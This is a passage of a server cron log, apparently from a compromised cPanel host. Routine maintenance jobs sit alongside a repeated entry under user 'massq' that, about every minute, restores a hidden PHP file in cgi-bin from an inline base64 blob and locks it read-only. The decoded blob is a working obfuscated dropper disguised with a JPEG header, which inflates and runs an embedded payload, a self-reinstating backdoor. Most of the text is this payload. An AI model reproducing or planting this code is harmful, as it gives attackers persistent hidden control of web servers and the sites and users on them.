kFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:10:01 server CROND[17388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:11:01 server CROND[18213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:11:01 server CROND[18214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:11:01 server CROND[18215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:12:01 server CROND[18753]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:12:01 server CROND[18754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:12:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:12:01 server CROND[18756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:13:01 server CROND[19151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:13:01 server CROND[19152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:13:01 server CROND[19153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:14:01 server CROND[19543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:14:01 server CROND[19544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:14:01 server CROND[19545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:15:01 server CROND[19966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:15:01 server CROND[19968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:15:01 server CROND[19969]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:15:01 server CROND[19972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:15:01 server CROND[19970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:15:01 server CROND[19971]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:15:01 server CROND[19973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:15:01 server CROND[19975]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 23:16:01 server CROND[20800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:16:01 server CROND[20801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:16:01 server CROND[20802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:17:01 server CROND[21260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:17:01 server CROND[21261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:17:01 server CROND[21262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:18:01 server CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:18:01 server CROND[21685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:18:01 server CROND[21686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:19:01 server CROND[22064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:19:01 server CROND[22065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:19:01 server CROND[22066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:20:01 server CROND[22445]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:20:01 server CROND[22444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:20:01 server CROND[22450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:20:01 server CROND[22460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:20:01 server CROND[22458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:20:01 server CROND[22461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:20:01 server CROND[22462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:20:01 server CROND[22457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:20:01 server CROND[22459]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:21:01 server CROND[23435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:21:01 server CROND[23436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:21:01 server CROND[23437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:22:01 server CROND[23894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:22:01 server CROND[23896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:22:01 server CROND[23897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
